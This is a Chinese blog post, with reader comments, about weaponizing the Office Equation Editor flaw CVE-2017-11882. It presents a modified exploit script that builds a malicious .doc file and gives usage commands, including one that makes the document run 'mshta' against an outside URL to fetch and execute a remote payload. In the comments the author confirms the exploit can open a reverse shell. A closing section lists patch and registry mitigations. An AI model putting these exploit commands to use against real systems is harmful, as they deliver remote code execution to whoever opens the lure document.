CVE-2017-11882利用
in 奇技淫巧 with 15 comments

CVE-2017-11882利用

in 奇技淫巧 with 15 comments

最近这段时间CVE-2017-11882挺火的。关于这个漏洞可以看看这里:隐藏17年的Office远程代码执行漏洞POC样本分析(CVE-2017-11882)

今天在twitter上看到有人共享了一个POC,twitter地址poc地址,后来又看到有人共享了一个项目CVE-2017-11882,简单看了一下这个项目,通过对rtf文件的修改来实现命令执行的目的,但是有个缺陷就是,这个项目使用的是使用webdav的方式来执行远程文件的,使用起来可能并不容易,所以就对此文件进行了简单的修改,具体项目地址如下:GITHUB:
使用方式很简单,如果要执行命令

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

demo
demo

关于怎么进一步利用,可以参考之前写的《windows命令执行漏洞不会玩? 看我!》,由于有长度的限制,这里可以采用mshta的方式来执行。构造的命令如下:

python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc

最终效果如下:
1.gif

解决方案:

1、微软已经对此漏洞做出了修复。

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

按下Win+R组合键,打开cmd.exe

对应office版本修改以下注册表路径以后,输入:

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
Responses
  1. Xm17

    难道不需要-u ???

    webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

    Reply
    1. @Xm17

      修改过了。

      Reply
  2. ddd

    这个可以反弹shell不?

    Reply
    1. @ddd

      可以

      Reply
  3. needLong

    太短了!!!
    command 太短了!!!

    Reply
    1. @needLong

      已经更新109字节exp。

      Reply
  4. Dogger

    怎么将111改成自订文字?

    Reply
  5. test

    师傅您好,您的终端背景配色能给说下么?不是zsh的样式

    Reply
    1. @test

      主题用的bira,配色用的tango dark

      Reply
  6. Jocelyn

    构造出来的这个恶意文档可以再里面编辑之后再利用吗?

    Reply
    1. @Jocelyn

      构造以后是不能直接使用word再次编辑的,可以用记事本打开以后再进行编辑。

      Reply
      1. Jocelyn
        @Evi1cg

        记事本打开怎么编辑 求解

        Reply
        1. @Jocelyn

          脚本已经更新自定义内容。

          Reply
  7. jerey

    请问你的监听器是设置的那个呢 为何我的反弹一些不能像你那样直接就行了还得先是一个黑框设置了sleep才显示 怎么让他不用这样

    Reply
    1. @jerey

      改hta呗

      Reply